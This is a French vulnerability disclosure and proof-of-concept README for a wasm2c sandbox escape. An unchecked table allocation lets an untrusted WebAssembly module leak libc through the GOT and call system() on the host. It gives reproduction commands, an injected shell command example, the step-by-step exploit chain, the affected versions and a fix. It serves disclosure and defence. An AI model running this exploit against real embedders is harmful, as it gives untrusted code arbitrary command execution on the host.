
Évasion de sandbox wasm2c. Un module WebAssembly non fiable s'échappe de la sandbox C générée et exécute une commande shell arbitraire sur l'hôte.
Lire le blog : trustsig.eu/blog
wasm_rt_allocate_funcref_table() dans wasm2c/wasm-rt-impl-tableops.inc définit
table->size à partir du nombre d'éléments déclaré par le module, puis ignore le résultat de
calloc(). Lorsque l'allocation échoue, la table reste avec data == NULL et la taille
déclarée complète, donc tous les contrôles de bornes passent encore et table->data[i] devient
l'adresse absolue i * sizeof(wasm_rt_funcref_t).
Le nombre d'éléments provient de l'invité, donc l'invité choisit la taille d'allocation et peut provoquer l'échec.
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc
L'image clone wabt au tag 1.0.41 depuis le dépôt amont, construit wat2wasm et wasm2c,
compile le module invité et un embedder simple, puis l'exécute.
Sortie attendue :
running guest
guest returned 0
--- file on host ---
goodbye sandbox
La dernière ligne est le contenu de /tmp/pwned.txt, un fichier qui n'existait pas avant que le
module sandboxé ne s'exécute.
Vérifié sur linux/arm64 et linux/amd64. Rien dans le module n'est spécifique à une
architecture : l'adresse de l'instance, l'emplacement GOT et le décalage de la libc sont tous
résolus à la compilation à partir du binaire qui vient d'être construit et de la libc de cette image.
Sur Linux, avec clang, cmake, ninja et binutils installés :
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c
python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
--wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt
macOS n'est pas une cible prise en charge pour ce PoC. Darwin n'applique pas RLIMIT_AS,
donc le calloc surdimensionné réussit et le bug ne se déclenche jamais ; les builds arm64 de
macOS sont toujours indépendants de la position, et Mach-O n'a pas de GOT ELF pour l'étape de
fuite. Le défaut lui-même est indépendant de la plateforme ; seule cette chaîne d'exploitation est
spécifique à Linux.
Autres versions et commandes :
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
"python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"
(table $t 2147483648 funcref). Le calloc de 68 Go échoue, data est NULL,
size reste 2147483648, et les indices de table deviennent des adresses absolues.table.get à got_slot/32 lit le GOT de l'embedder à travers la table cassée et
table.set stocke le résultat dans les propres globales du module, où le code wasm peut
le lire comme un entier. Cela révèle l'adresse de malloc de la libc, et system s'en déduit
à une distance fixe dans la libc cible.wasm_rt_funcref_t dans quatre globales consécutives : func_type pointant
vers une copie du hash de type du site d'appel (func_types_eq_slowpath le compare avec
memcmp, donc les octets contrôlés par l'invité passent le contrôle), func = system, et
module_instance = la chaîne de commande, également conservée dans des globales.call_indirect à globals_addr/32. wasm2c émet
((t)entry.func)(entry.module_instance, ...), donc cela appelle system(command).La seule donnée de disposition codée en dur dans le module est l'adresse de l'instance du module, qui est une globale et donc fixe dans un embedder non-PIE. L'ASLR reste activé ; l'adresse de la libc est révélée à l'exécution.
L'allocation de la table doit échouer. Le PoC utilise ulimit -v 1000000, une limite d'espace
d'adressage du type de celle qu'un hôte exécutant du code non fiable définirait. Elle échoue aussi
sur les hôtes 32 bits, où l'allocation ne peut pas du tout être satisfaite, avec
vm.overcommit_memory=2, ou en cas de pression mémoire suffisante.
Sur un Linux 64 bits standard avec l'heuristique d'overcommit par défaut, l'allocation réussit et n'est jamais touchée, c'est pourquoi le bug survit aux tests normaux.
Toutes les versions qui incluent les tables wasm2c. Le calloc non vérifié remonte au commit
ab9e0b55 (#813). Vérifié contre la version publiée 1.0.41 et le main actuel.
L'allocateur mémoire du même runtime gère ce cas :
memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
if (byte_length != 0 && !memory->data) {
abort();
}
L'allocateur de tables a besoin de la même vérification.
Dockerfile construit wabt et exécute le PoC.tableflip_poc.py génère le module invité, construit l'embedder, résout les trois constantes à
partir du binaire construit et de la libc cible avec nm et readelf, puis l'exécute.
L'embedder qu'il émet ne contient aucun code de support d'exploitation.